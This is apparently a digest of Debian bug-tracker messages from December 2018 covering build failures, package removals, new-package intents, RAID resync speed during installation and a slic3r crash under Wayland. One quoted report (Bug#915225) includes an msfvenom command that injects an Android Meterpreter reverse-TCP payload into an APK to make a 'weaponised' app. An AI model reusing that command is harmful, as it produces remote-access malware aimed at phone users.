> QT have deprecated QBS and plan to concentrate on cmake from now on.
> You are perhaps already aware of this?
> http://blog.qt.io/blog/2018/10/29/deprecation-of-qbs/
>
> The debian maintainers want to drop QBS as we and QTcreator are the only
> users.
>
> See the short discussion here.
> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=912332
>
> You might want to chime in. What do you plan to do, as upstreams for
> dewalls, cavewhere and the other bits and bobs associated with it?
>
> Wookey
> --
> Principal hats:  Linaro, Debian, Wookware, ARM
> http://wookware.org/
>

Bug#865851: drf-extensions FTBFS with Django 1.11

[Wookey]

I had a look at this, specifically with regard to moving on to drf-extensions 
0.4

drf-extensions 0.4 builds OK with django 1.11 anyway, so is a different
way of fixing this bug, and I know that other tools people want to use
need 0.4 so upgrading is probably a good idea. I don't know if there
are reasons not to? I don't see any obvious ones.

I propose to NMU this to 0.4 (delayed/7) unless someone objects.

Proposed package is here:
http://wookware.org/software/repo/pool/main/d/drf-extensions/

Wookey
-- 
Principal hats:  Linaro, Debian, Wookware, ARM
http://wookware.org/


signature.asc
Description: PGP signature

Bug#914688: g++: fails to understand BOOST_OS_LINUX on ppc64el?

[Mas Bedjo]

On Mon, 26 Nov 2018 11:50:21 +0100 Matthias Klose  wrote:
> Control: severity -1 important
> Control: tags -1 + moreinfo
>
> On 26.11.18 11:23, Gianfranco Costamagna wrote:
> > Source: gcc-8
> > Version: 8.2.0-10
> > Severity: serious
> > Affects: src:performous
> >
> > Hello, after trying to debug why src:performous was FTBFS on ppc64el, I
got this issue:
> >
> > test example reproducing the issue:
> > cat test.c++
> > #include 
> > #include 
> >
> > #if BOOST_OS_LINUX
> > #warning "OS LINUX DEFINED"
> > #endif
> >
> > int main()
> > {
> >printf("%d\n", BOOST_OS_WINDOWS);
> >printf("%d\n", BOOST_OS_LINUX);
> > }
> >
> >
> > apt-get install libboost-dev
> >
> > on an amd64 machine this happens:
> > $ g++ test.c++
> > test.c++:5:2: warning: #warning "OS LINUX DEFINED" [-Wcpp]
> >  #warning "OS LINUX DEFINED"
> >   ^~~
> >
> > $ g++ test.c++  -std=c++14
> > test.c++:5:2: warning: #warning "OS LINUX DEFINED" [-Wcpp]
> >  #warning "OS LINUX DEFINED"
> >   ^~~
> >
> > (everything is ok)
> >
> > on a ppc64el machine this happens instead:
> > g++ test.c++
> > test.c++:5:2: warning: #warning "OS LINUX DEFINED" [-Wcpp]
> >  #warning "OS LINUX DEFINED"
> >   ^~~
> >
> > g++ test.c++  -std=c++14
> > (NO WARNINGS HERE).
> >
> > this is why the package FTBFS, because that macro is not defined when
std is defined.
> >
> > Any idea?
> > (this might be a boost issue, but I can't prove it!)
>
> ... but you are sure enough to file a RC issue for a different package.
>
> > same happens with old g++-7, and with c++0x or c++11
>

Bug#915816: RM: uptimed -- ROM; long time bugs non-fixed, better alternatives

[gustavo panizzo]

Package: ftp.debian.org
Severity: normal

Hello

I want to request the removal of the uptimed package

package works on long running servers, but breaks with non-rtc systems
[1], leap second [2], and general bugginess that hasn't been solved in
years [3]


Some time ago I discovered tuptime  which has none of this bugs, a
responsive upstream and a modern codebase.

Ricardo (tuptime upstream and Debian maintainer) has agreed to add a
note to tuptime's long description about uptimed (for people doing
`apt-cache search uptimed`) and a migration script [4]

I'll submit a patch to Buster release notes regarding the removal.

thanks

[1] https://github.com/rpodgorny/uptimed/issues/1
[2] https://github.com/rpodgorny/uptimed/issues/11
[3] #654830 6 years old
https://github.com/rpodgorny/uptimed/issues/2 4 y.o
https://bugs.launchpad.net/ubuntu/+source/uptimed/+bug/498439 9 y.o
[4] 
https://metadata.ftp-master.debian.org/changelogs/main/t/tuptime/tuptime_3.4.1_changelog

Bug#915815: ITP: golang-github-htcat-htcat -- Parallel and Pipelined HTTP GET Utility for golang

[Nobuhiro Iwamatsu]

Package: wnpp
Severity: wishlist
Owner: Nobuhiro Iwamatsu 

* Package name: golang-github-htcat-htcat
  Version : 1.0.2
  Upstream Author : The htcat Contributors
* URL : https://github.com/htcat/htcat
* License : BSD-2-clause
  Programming Lang: golang
  Description : Parallel and Pipelined HTTP GET Utility for golang

  htcat is a utility to perform parallel, pipelined execution of a
  single HTTP GET.

Bug#915814: RFP: node-better-console -- drop-in replacement for node's default console

[Jeff Cliff]

Package: wnpp
Severity: wishlist

* Package name: node-better-console
  Version : 1.0.1
  Upstream Author : Mohsen 
* URL : https://notabug.org/makenotabuggreatagain/better-console
* License : 3-clause BSD license
  Programming Lang: javascript
  Description : drop-in replacement for node's default console

Gives you colors and more methods in console.

Bug#915799: libGL.so.1 Missing

[Michael Gilbert]

control: reassign -1 src:steam
control: retitle -1 steam: fails to load libGL.so.1

Make sure you have either libgl1-mesa-glx:i386 or your proprietary
driver's i386 glx package installed.  See bug #718599.

Best wishes,
Mike

Bug#915675: libasound2-data: Kernel 4.18 change breaks WD15 dock usb audio

[Angus Lees]

Yes, understood.

I don't know much about these files, but I gather the udev rule is the
entrypoint and refers to the desired file by name.  Perhaps we can have two
files and make the udev rule point to the right one by kernel version?
(assuming we can't do anything clever within the file itself)

 - Gus

On Thu, 6 Dec 2018 at 18:36, Elimar Riesebieter  wrote:

> * Angus Lees  [2018-12-06 09:29 +1100]:
>
> [...]
> >
> > After *much* debugging, I stumbled across
> >
> https://github.com/edrose/dell-dock-audio-fix/issues/2#issuecomment-440420105
> >
> > Apparently the device was renamed in the kernel, and
> > /usr/share/alsa/ucm/Dell-WD15-Dock/HiFi.conf needs to be updated
> > accordingly (s/WD15Dock/Dock/).  I can confirm this change (followed
> > by pulseaudio restart) fixed things immediately for me.
>
> There is a patch in upstreams git. But we have to find a solution
> where kernels < 4.18 are working as well. Thats not that easy,
> though.
>
> Elimar
> --
>   The path to source is always uphill!
> -unknown-
>


-- 
 - Gus

Bug#914377: Bug 914377 - clarifying the situation

[Jean-Marc]

Hi Matthias,

The first part of this (Reported by: James Van Zandt ) 
is related to the pyzo package and documented in the bug report #914332 
(https://bugs.debian.org/914332 - Adrian Bunk  is preparing a 
NMU).

The second part of this (Message From: cruncher ) is 
related to the fs-uae package and documented in the bug report #914790 
(https://bugs.debian.org/914790 - fixed in sid)

Maybe this bug can be closed regarding this information.

Regards,

Jean-Marc 
https://6jf.be/keys/ED863AD1.txt


pgpKOkndjOPqq.pgp
Description: PGP signature

Bug#915787: gitlab: Installation failure

[Pirate Praveen]

Control: severity -1 normal

On Thu, 06 Dec 2018 11:03:57 -0800 Pranith Kumar  wrote:
> Package: gitlab
> Version: 11.3.11+dfsg-1
> Severity: important
> 
> Dear Maintainer,
> 
> When trying to install gitlab using "apt install gitlab", it fails with the
> following error message. The user chosen to run gitlab was 'www-data'.
> 
> Setting up gitlab (11.3.11+dfsg-1) ...
> /usr/local/bin/bundle:22:in `load': cannot load such file -- 
> /usr/share/rubygems-integration/all/gems/bundler-1.16.1/exe/bundle (LoadError)
>   from /usr/local/bin/bundle:22:in `'
> dpkg: error processing package gitlab (--configure):
>  installed gitlab package post-installation script subprocess returned error 
> exit status 1
> Setting up gitaly (0.120.1+debian-2) ...
> /etc/systemd/system/gitaly.service.d/override.conf already exist
> /usr/local/bin/bundle:22:in `load': cannot load such file -- 
> /usr/share/rubygems-integration/all/gems/bundler-1.16.1/exe/bundle (LoadError)
>   from /usr/local/bin/bundle:22:in `'

You have a conflict with gem installed bundler. You should remove the locally 
installed bundler.
-- 
Sent from my Android device with K-9 Mail. Please excuse my brevity.

Bug#915741: [pkg-go] Bug#915741: git-lfs: git push -n actually uploads LFS objects

[Stephen Gelman]

> I just noticed that 
>  git push -n origin --all
> started to upload LFS objects to the server ...

This appears to be an upstream bug.  Submitted upstream as 
https://github.com/git-lfs/git-lfs/issues/3418 
.

Stephen

Bug#915097: librime-bin: rime does not work at all under ibus and fcitx

[Abigaile Johannesburg]

Hello,

Two days ago I had the same problem. Furthermore fcitx rime input crashed in 
tray area of lxde panel on my laptop. 

You can give the unstable branch a try however. I am on stable branch stretch 
and the unstable release 1.3.2 works for me. (github updated to 1.3.2 only 
three weeks ago.)

https://packages.debian.org/search?suite=sid=librime-bin 


Package librime-bin
sid (unstable)  (utils):   Rime 
Input Method Engine - utilities 
1.3.2+dfsg1-1+b1: alpha amd64 arm64 armel armhf hppa i386 m68k mips mips64el 
mipsel powerpcspe ppc64 ppc64el s390x sh4 sparc64 x32 
1.2.9+dfsg1-1+b2: hurd-i386 
1.2.9+dfsg1-1+b1: kfreebsd-amd64 kfreebsd-i386
Regards,
Abi

Bug#914928: ITP: python-typing-extensions -- Backported and Experimental Type Hints for Python

[Michael Crusoe]

Thank you for the information.

I'm already using this for schema_salad. I'll patch out the need for it and
request removal of this package when  Py3.6 is retired.

--
Michael R. Crusoe


În vin., 7 dec. 2018, 01:57 Piotr Ożarowski  [Michael Crusoe, 2018-12-06]
> > How soon is soon?
>
> I guess in a month or so. Depends on how fast 3.7 as default transition
> will be finished. Before Buster release in any case.
>

Bug#903971: ntdb: DoS issues upon offline data corruption, unmaintained upstream

[Douglas Bagnall]

On Tue, 17 Jul 2018 18:14:26 +0200 Lionel Debroux  
wrote:
> Source: ntdb
> Version: 1.0-9
> Severity: important
> Tags: upstream
> 
> Dear maintainers,
> 
> In March, I sent an e-mail to the list, about removing the NTDB 
> packages because they are unmaintained upstream,
As part of the upstream team, I can confirm that this is true.

https://gitlab.com/samba-team/samba/commit/e3e0af14e176e69743223ebb43f21e4eef420ba2

Douglas

Bug#695196: Invalid workgroup

[Douglas Bagnall]

Can we resolve this one as WONTFIX, INVALID, or something?

It is against the antiquarian 3.6, and Jelmer explains the probable cause is 
misconfiguration:

On Tue, 22 Oct 2013 13:22:56 -0500 Jelmer Vernooij  wrote:
> tags 695196 +moreinfo
> thanks
> 
> You're not specifying a workgroup for the user, and the default
> workgroup seems to be different in the two smb.conf files:
> 
> From the working smb.conf:
> doing parameter workgroup = MYGROUP
> 
> From the broken one:
> 
> doing parameter workgroup = someurl
> 
> Can you try authenticating with -UMYGROUP\\backup ?

Bug#915261: SysV init regression thanks to broken "container detection" logic

[GSR]

Package: udev
Version: 239-14
Followup-For: Bug #915261

I tried to set severity to serious but it was reverted. An unbootable
system is not nice, I had to look around for a rescue disk (luckly I
still had one around) to change the script (it was obvious by message,
and also I roughly remembered the etckeeper diff). It could be a bit
more troublesome if combined (no other local machines to help, no USB
sticks, issues in remote machines, failures without output...).

---8<---
if [ -w /sys ]; then
  log_warning_msg "udev does not support containers BUT BUG WORKAROUND"
  # exit 0
fi
--->8---

Bug 915415 is about losing X11 mouse and keyboard, which is bad
too. Bug 915361 was reported as grave.

Avoiding more people to get into issues when cause is known seems
reasonable, it saves everyone time. I don't mind finding new bugs and
help solving them, but getting hit by old ones like this is
discouraging.

Confused about apt-listbugs purpose,
GSR
 

Bug#915813: d-i.debian.org: netinst 9.6.0 success with i386 as target, hangs in initial screen when amd64 as target

[David George Henderson III]

Package: d-i.debian.org
Severity: important

I have a Mac Pro 1,1 that is currently running 8.11.0 using a Radeon 570 video
card.

I am using refit boot selector to boot the debian 9.6.0 amd64-i386 netinst.iso

Also installed on separation partitions: OSX Snow Leopard. This hosts the
refit program.

What works: boot the *.iso and installing i386 on separate boot/swap/root
partitions.

What doesn't work: boot the *.iso and select the amd64 CPU option. The
installer program just hangs at the first spash screen.

I tested the install dvd on another system with UEFI (a modern HP 470 G4). It
boots in UEFI mode and started to actually run the installer.

An alternate was tried. dist-upgrade on a running amd64 system. It does not
work for me. Here is the procedure I used:
a) install a sacrificial 8.11.0 amd64 system on the same set of
partitions targeted for the 9.6.0 install
b) modify the /etc/apt/sources.list to use stretch
doing a dist-upgrade; shut down and reboot production system.
on the production 8.11 system , created a grub boot stanza in
  40_custom for the 9.6.0 dist-upgrade partition set
make sure nomodeset is present
update-grab
then boot the production system using the 40_custom boot stanza
for the 9.6.0 dist-upgrade target partition set:
 just shows loading vmzlinux and hangs

I have looked at the xorg modules installed before and after the dist-upgrade-
they all seem to be ATI or Radeon related.

My tentative conclusion is that something about the radeon video card and the
  amd64 option Mac Pro 1,1 is not compatible with Stretch.
a)The radeon video card works fine with Jessie installer dvd and
   8.11.0 on the installed system.
b)The radeon video card works fine on Stretch i386 installed system.



-- System Information (Note this is the system used to report the bug, not the
one using the install dvd):
Debian Release: 9.5
  APT prefers stable
  APT policy: (990, 'stable'), (500, 'stable-updates'), (500, 'testing')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.9.0-7-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8),
LANGUAGE=en_US.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

*** /home/dgh/mp_config.txt
dgh@mpgpt:~$ lspci
00:00.0 Host bridge: Intel Corporation 5000X Chipset Memory Controller Hub (rev
30)
00:02.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port
2-3 (rev 30)
00:03.0 Non-VGA unclassified device: Intel Corporation 5000 Series Chipset PCI
Express x4 Port 3 (rev 30)
00:04.0 PCI bridge: Intel Corporation 5000X Chipset PCI Express x16 Port 4-7
(rev 30)
00:05.0 Non-VGA unclassified device: Intel Corporation 5000 Series Chipset PCI
Express x4 Port 5 (rev 30)
00:06.0 Non-VGA unclassified device: Intel Corporation 5000 Series Chipset PCI
Express x4 Port 6 (rev 30)
00:07.0 Non-VGA unclassified device: Intel Corporation 5000 Series Chipset PCI
Express x4 Port 7 (rev 30)
00:08.0 System peripheral: Intel Corporation 5000 Series Chipset DMA Engine
(rev 30)
00:10.0 Host bridge: Intel Corporation 5000 Series Chipset FSB Registers (rev
30)
00:10.1 Host bridge: Intel Corporation 5000 Series Chipset FSB Registers (rev
30)
00:10.2 Host bridge: Intel Corporation 5000 Series Chipset FSB Registers (rev
30)
00:11.0 Host bridge: Intel Corporation 5000 Series Chipset Reserved Registers
(rev 30)
00:13.0 Host bridge: Intel Corporation 5000 Series Chipset Reserved Registers
(rev 30)
00:15.0 Host bridge: Intel Corporation 5000 Series Chipset FBD Registers (rev
30)
00:16.0 Host bridge: Intel Corporation 5000 Series Chipset FBD Registers (rev
30)
00:1b.0 Audio device: Intel Corporation 631xESB/632xESB High Definition Audio
Controller (rev 09)
00:1c.0 PCI bridge: Intel Corporation 631xESB/632xESB/3100 Chipset PCI Express
Root Port 1 (rev 09)
00:1c.1 PCI bridge: Intel Corporation 631xESB/632xESB/3100 Chipset PCI Express
Root Port 2 (rev 09)
00:1c.2 PCI bridge: Intel Corporation 631xESB/632xESB/3100 Chipset PCI Express
Root Port 3 (rev 09)
00:1c.3 PCI bridge: Intel Corporation 631xESB/632xESB/3100 Chipset PCI Express
Root Port 4 (rev 09)
00:1d.0 USB controller: Intel Corporation 631xESB/632xESB/3100 Chipset UHCI USB
Controller #1 (rev 09)
00:1d.1 USB controller: Intel Corporation 631xESB/632xESB/3100 Chipset UHCI USB
Controller #2 (rev 09)
00:1d.2 USB controller: Intel Corporation 631xESB/632xESB/3100 Chipset UHCI USB
Controller #3 (rev 09)
00:1d.3 USB controller: Intel Corporation 631xESB/632xESB/3100 Chipset UHCI USB
Controller #4 (rev 09)
00:1d.7 USB controller: Intel Corporation 631xESB/632xESB/3100 Chipset EHCI
USB2 Controller (rev 09)
00:1e.0 PCI bridge: Intel Corporation 82801 PCI Bridge (rev d9)
00:1f.0 ISA bridge: Intel Corporation 631xESB/632xESB/3100 Chipset LPC
Interface Controller (rev 09)
00:1f.1 IDE 

Bug#912524: snapshot.debian.org is unreachable from (apparently) 18.128.0.0/9

[Jeremy Apthorp]

Hi there,

As part of Electron[1], we're investigating using snapshots.debian.org to
build reproducible sysroot bundles in CI for similar reasons to Mozilla.
I'm also interested in working with Chromium to upstream those changes, so
that all embedders of Chromium can build reproducible custom sysroot
snapshots. However, being unable to access snapshot.debian.org from AWS is
blocking this endeavour.

I'd be happy to work with the maintainers to find a solution that works for
our use case (which is to download ~350 packages for each of 6 platforms
whenever we build a sysroot image, which is once every 2-3 months or so)
and doesn't put a significant strain on snapshot.debian.org resources.
iptables connlimit has already been suggested—I'm far from familiar with
iptables and even less familiar with Debian's setup, but perhaps something
like the attached patch could be a starting point? I used the rules in [2]
as inspiration.

[1]: https://electronjs.org
[2]:
https://salsa.debian.org/dsa-team/mirror/dsa-puppet/blob/master/modules/apache2/manifests/dynamic.pp


snapshot_ratelimiting.patch
Description: Binary data

Bug#797637: samba panic segfault in(?) smbd_smb2_request_reply (smb2_server.c:2407)

[Douglas Bagnall]

On Tue, 01 Sep 2015 15:41:04 +1000 raf  wrote:
> Package: samba
> Version: 2:4.1.17+dfsg-2
> Severity: important
> Tags: upstream

Is this reproducible with current versions? (4.1 is sub-oldstable).

Bug#740084: obsolete?

[Douglas Bagnall]

> Package: samba
> Version: 2:4.1.4+dfsg-3
> Severity: important

Oldstable has 2:4.2.14+dfsg-0+deb8u10, while Sid has 4.9.
A lot has changed along the way.

Is this still reproducible, or can we close this one?

Bug#915347: slic3r segfaulting under wayland

[Bernhard Übelacker]

Dear Maintainer,
this issue seems to be caused by wxGLCanvas not being yet ready
for wayland. At least in version current version in testing.

There are already bugs [1] and [2], the first one also for slic3r.
Both are forwarded to [3].
And all describing as workaround using something like
"GDK_BACKEND=x11 slic3r" to start affected applications.

[1] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=900678
[2] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=904753
[3] https://trac.wxwidgets.org/ticket/17702

Kind regards,
Bernhard



Thread 1 "perl" received signal SIGSEGV, Segmentation fault.
0x7fff0001 in ?? ()
(gdb) bt
#0  0x7fff0001 in ?? ()
#1  0x7570600b in XQueryExtension (dpy=dpy@entry=0x5682e000, 
name=name@entry=0x7fffe2e26006 "GLX", 
major_opcode=major_opcode@entry=0x58c063d4, 
first_event=first_event@entry=0x7fffd184, 
first_error=first_error@entry=0x58c063d8) at ../../src/QuExt.c:43
#2  0x7fffe2e21862 in InitDisplayInfoEntry (dpy=0x5682e000) at 
../../../src/GLX/libglxmapping.c:641
#3  __glXLookupDisplay (dpy=, dpy@entry=0x5682e000) at 
../../../src/GLX/libglxmapping.c:733
#4  0x7fffe2e1d8e5 in glXQueryVersion (dpy=0x5682e000, 
major=0x7fffd230, minor=0x7fffd234) at ../../../src/GLX/libglx.c:1170
#5  0x7fffe2d51e55 in wxGLCanvasX11::GetGLXVersion () at 
../include/wx/utils.h:780
#6  0x7fffe2d52455 in wxGLCanvasX11::ConvertWXAttrsToGL 
(wxattrs=0x58c065c0, glattrs=0x7fffd3d0, n=512) at 
../src/unix/glx11.cpp:343
#7  0x7fffe2d52b68 in wxGLCanvasX11::InitXVisualInfo 
(attribList=attribList@entry=0x58c065c0, pFBC=pFBC@entry=0x5660ac20, 
pXVisual=pXVisual@entry=0x5660ac28) at ../src/unix/glx11.cpp:498
#8  0x7fffe2d52c59 in wxGLCanvasX11::InitVisual 
(this=this@entry=0x5660a970, attribList=attribList@entry=0x58c065c0) at 
../src/unix/glx11.cpp:226
#9  0x7fffe2d53b5f in wxGLCanvas::Create (this=this@entry=0x5660a970, 
parent=parent@entry=0x58ba1e80, id=id@entry=-1, pos=..., size=..., 
style=style@entry=0, name=..., attribList=0x58c065c0, palette=...) at 
../src/gtk/glcanvas.cpp:233
#10 0x7fffe2d53d03 in wxGLCanvas::wxGLCanvas (this=0x5660a970, 
parent=0x58ba1e80, id=-1, attribList=0x58c065c0, pos=..., size=..., 
style=0, name=..., palette=...) at ../src/gtk/glcanvas.cpp:157
#11 0x7002d5d9 in XS_Wx__GLCanvas_newDefault (my_perl=0x55867260, 
cv=) at GLCanvas.xs:132
#12 0x5563fd11 in Perl_pp_entersub ()
#13 0x55636026 in Perl_runops_standard ()
#14 0x555a9cf5 in Perl_call_sv ()
#15 0x7002c8ba in XS_Wx__GLCanvas_new (my_perl=0x55867260, 
cv=) at GLCanvas.xs:113
#16 0x5563fd11 in Perl_pp_entersub ()
#17 0x55636026 in Perl_runops_standard ()
#18 0x555a9f02 in Perl_call_sv ()
#19 0x76f0b188 in call_oninit (sub=0x566a4208, This=0x56c3ac60, 
my_perl=0x55867260) at Wx.c:134
#20 XS_Wx___App_Start (my_perl=0x55867260, cv=) at Wx.c:14746
#21 0x5563fd11 in Perl_pp_entersub ()
#22 0x55636026 in Perl_runops_standard ()
#23 0x555b2097 in perl_run ()
#24 0x55588402 in main ()

(gdb) up
#1  0x7570600b in XQueryExtension (dpy=dpy@entry=0x5682e000, 
name=name@entry=0x7fffe2e26006 "GLX", 
major_opcode=major_opcode@entry=0x58c063d4, 
first_event=first_event@entry=0x7fffd184, 
first_error=first_error@entry=0x58c063d8) at ../../src/QuExt.c:43
43  LockDisplay(dpy);
(gdb) print dpy
$1 = (Display *) 0x5682e000
(gdb) print dpy->lock_fns 
$2 = (struct _XLockPtrs *) 0x5682e980
(gdb) print dpy->lock_fns->lock_display 
$3 = (void (*)(Display *)) 0x7fff0001

Bug#915225: apktool fails to rebuild APK after upgrade to Kali Linux 2018.4

[Markus Koschany]

Control: tags -1 moreinfo

On Sat, 1 Dec 2018 21:04:18 + Sajid Nawaz Khan 
wrote:
[...]
> The Issue
> Since upgrading to a fresh and clean install of Kali Linux 2018.4, msfvenom 
> is unable to generate weaponised APKs. An identical command worked prior to 
> the update.
> 
> 
> How'd you do it?
> `apt-get install zipalign`
> `apt-get install lib32stdc++6 lib32ncurses6 lib32z1++`
> `msfvenom -x /root/Downloads/Diary.apk -p android/meterpreter/reverse_tcp 
> LHOST=192.168.224.129 LPORT= -f raw -o /root/Desktop/Diary.apk`
> 
> 
> Expected behaviour -- What should happen?
> msfvenom should decompile, inject payload, and recompile the APK. An APK 
> should be generated.


Hello,

msfvenom is not part of apktool. Thus I don't understand why this should
be a bug in apktool.


I also don't recall that I removed a "jar file" in version 2.3.4.
Without further information we can't debug this issue.

Regards,

Markus



signature.asc
Description: OpenPGP digital signature

Bug#915812: Should depend on python3-gi

[zapashcanon]

Package: slick-greeter
Version: 1.2.3-1
Severity: normal

Hi,

The package should depend on python3-gi, otherwise, the hidpi detection
won't work. If you look at the logs you'll see that it's actually trying
to import gi, but fails silently.

Cheers.


-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.18.0-3-amd64 (SMP w/8 CPU cores)
Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8), 
LANGUAGE=fr_FR.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages slick-greeter depends on:
ii  dconf-gsettings-backend [gsettings-backend]  0.30.1-1
ii  libatk1.0-0  2.30.0-1
ii  libc62.28-2
ii  libcairo21.16.0-1
ii  libcanberra0 0.30-6
ii  libgdk-pixbuf2.0-0   2.38.0+dfsg-6
ii  libglib2.0-0 2.58.1-2
ii  libgtk-3-0   3.24.1-2
ii  liblightdm-gobject-1-0   1.26.0-3
ii  libpango-1.0-0   1.42.4-4
ii  libpangocairo-1.0-0  1.42.4-4
ii  libx11-6 2:1.6.7-1
ii  libxext6 2:1.3.3-1+b2
ii  lightdm  1.26.0-3
ii  python3  3.7.1-2

slick-greeter recommends no packages.

slick-greeter suggests no packages.

-- no debconf information

Bug#838503: debian-installer: mdadm should not start syncing RAID1 arrays at full speed during installation

[Steve McIntyre]

On Fri, Dec 07, 2018 at 01:17:43AM +0100, Cyril Brulebois wrote:
>Steve McIntyre  (2018-12-06):
>> On Sat, Jun 24, 2017 at 09:01:49PM +0200, Cyril Brulebois wrote:
>> >I'm not sure it would be a good idea to stick a hardcoded value there,
>> >even if we were to lower the available bandwidth… Too many different
>> >cases, be it about actual hardware, disk sizes, etc.
>> 
>> 1000 is a nice small number, which I think might make sense as a
>> default *while* we're installing. Once the installer has finished and
>> the system is rebooted, all will go back to normal. Hell, we could
>> even expose this value via debconf for expert (and preseed) if needed.
>
>Why is that suddenly needed anyway? Our “joyful” IRC participant
>mentioned regressions compared to older releases and I don't see why
>that would be the case.

I've no idea why he things this is a regression. But this is something
we should probably change anyway - installing on RAID is pointlessly
slow here unless you know how to work around it. And it's been that
way since ~forever.

-- 
Steve McIntyre, Cambridge, UK.st...@einval.com
"I've only once written 'SQL is my bitch' in a comment. But that code 
 is in use on a military site..." -- Simon Booth

Bug#915811: nmu: pocl_1.1-7

[Andreas Beckmann]

Package: release.debian.org
Severity: normal
User: release.debian@packages.debian.org
Usertags: binnmu

nmu pocl_1.1-7 . ANY . unstable . -m "Rebuild with latest gcc to collect symbol 
updates."

These rebuilds will fail due to changed symbols ... which is a bit
strange since the package was already built with gcc-8.
Such symbol changes could affect other packages as well.

e.g. on amd64

- _ZTISt19_Sp_make_shared_tag@Base 0.10

+ _ZZNSt19_Sp_make_shared_tag5_S_tiEvE5__tag@Base 1.1-7


Andreas

Bug#838503: debian-installer: mdadm should not start syncing RAID1 arrays at full speed during installation

[Cyril Brulebois]

Steve McIntyre  (2018-12-06):
> On Sat, Jun 24, 2017 at 09:01:49PM +0200, Cyril Brulebois wrote:
> >I'm not sure it would be a good idea to stick a hardcoded value there,
> >even if we were to lower the available bandwidth… Too many different
> >cases, be it about actual hardware, disk sizes, etc.
> 
> 1000 is a nice small number, which I think might make sense as a
> default *while* we're installing. Once the installer has finished and
> the system is rebooted, all will go back to normal. Hell, we could
> even expose this value via debconf for expert (and preseed) if needed.

Why is that suddenly needed anyway? Our “joyful” IRC participant
mentioned regressions compared to older releases and I don't see why
that would be the case.


Cheers,
-- 
Cyril Brulebois (k...@debian.org)
D-I release manager -- Release team member -- Freelance Consultant


signature.asc
Description: PGP signature

Bug#915810: lm-sensors: FTBFS during arch-indep-only build

[Andreas Beckmann]

Source: lm-sensors
Version: 1:3.5.0-1
Severity: serious
Justification: fails to build from source (but built successfully in the past)

Hi,

lm-sensors FTBFS during a arch-indep-only build (dpkg-buildpackage -A)

 debian/rules binary-indep
dh binary-indep --with systemd
   dh_update_autotools_config -i
   dh_autoreconf -i
   dh_auto_configure -i
   dh_auto_test -i
   create-stamp debian/debhelper-build-stamp
   dh_testroot -i
   dh_prep -i
   dh_installdirs -i
   debian/rules override_dh_auto_install-indep
make[1]: Entering directory '/build/lm-sensors-3.5.0'
/usr/bin/make install-prog-pwm DESTDIR=/build/lm-sensors-3.5.0/debian/tmp 
PREFIX=/usr LIBDIR=/usr/lib/x86_64-linux-gnu MANDIR=/usr/share/man
make[2]: Entering directory '/build/lm-sensors-3.5.0'
mkdir -p /build/lm-sensors-3.5.0/debian/tmp/usr/sbin 
/build/lm-sensors-3.5.0/debian/tmp/usr/share/man/man8
install -m 755 prog/pwm/fancontrol prog/pwm/pwmconfig 
/build/lm-sensors-3.5.0/debian/tmp/usr/sbin
install -m 644 prog/pwm/fancontrol.8 prog/pwm/pwmconfig.8 
/build/lm-sensors-3.5.0/debian/tmp/usr/share/man/man8
make[2]: Leaving directory '/build/lm-sensors-3.5.0'
make[1]: Leaving directory '/build/lm-sensors-3.5.0'
   dh_install -i
dh_install: Cannot find (any matches for) "etc/sensors3.conf" (tried in ., 
debian/tmp)

dh_install: libsensors-config missing files: etc/sensors3.conf
dh_install: Cannot find (any matches for) "etc/sensors.d" (tried in ., 
debian/tmp)

dh_install: libsensors-config missing files: etc/sensors.d
dh_install: missing files, aborting
make: *** [debian/rules:4: binary-indep] Error 25
dpkg-buildpackage: error: debian/rules binary-indep subprocess returned exit 
status 2



Andreas


lm-sensors_1%3.5.0-1_indep.log.gz
Description: application/gzip

Bug#838503: debian-installer: mdadm should not start syncing RAID1 arrays at full speed during installation

[Steve McIntyre]

On Thu, Dec 06, 2018 at 11:09:01PM +, Steve McIntyre wrote:
>[ Responding to this old bug, prompted by discussion in #debian-boot
>  tonight ]
>
>On Sat, Jun 24, 2017 at 09:01:49PM +0200, Cyril Brulebois wrote:
>>Hi Baptiste,
>>
>>Baptiste Jonglez  (2016-09-21):
>>> When creating a RAID1 array in the debian-installer and using it for
>>> the installation, mdadm immediately starts syncing the disks of the
>>> RAID array.
>>> 
>>> This is a bad idea, because the subsequent install will be really slow
>>> on rotational disks (linear disk access by mdadm and random disk
>>> access by dpkg).  On a fairly recent computer with 2 SATA disks, the
>>> installation took around 20 minutes before even arriving to the
>>> tasksel step.
>>
>>Well, I can understand the argument, but the user could very well expect
>>disks to be in mirror mode as soon as possible, and not wait until a few
>>days after the installation before the initial sync ends…
>
>The number isn't persistent across reboots, so it would speed up again
>on the reboot after the installation finished.
>
>>> I can see two solutions:
>>> 
>>> 1) lower the speed of the syncing operation, by setting the
>>>"dev.raid.speed_limit_max" sysctl setting to e.g. 1000;
>>
>>I'm not sure it would be a good idea to stick a hardcoded value there,
>>even if we were to lower the available bandwidth… Too many different
>>cases, be it about actual hardware, disk sizes, etc.
>
>1000 is a nice small number, which I think might make sense as a
>default *while* we're installing. Once the installer has finished and
>the system is rebooted, all will go back to normal. Hell, we could
>even expose this value via debconf for expert (and preseed) if needed.

So, I've been playing with this some more. For people who care deeply
about this now:

 * if you're preseeding your setup, add the following to control RAID
   resync speed

   d-i partman/early_command \
   string modprobe md_mod; echo 2000 > /proc/sys/dev/raid/speed_limit_max

   (this will limit resync speeds to a max of 2000 K/sec)

 * if you're running d-i by hand, switch to another console then:
 
   # echo  > /sys/block//md/sync_speed_max

   after you've created your RAID devices

-- 
Steve McIntyre, Cambridge, UK.st...@einval.com
Dance like no one's watching. Encrypt like everyone is.
 - @torproject

Bug#915805: Should this package be removed?

[W. Martin Borgert]

On 2018-12-06 22:55, Moritz Muehlenhoff wrote:
> Unless any objections are raised, I'd reassign this bug to ftp.debian.org
> for removal.

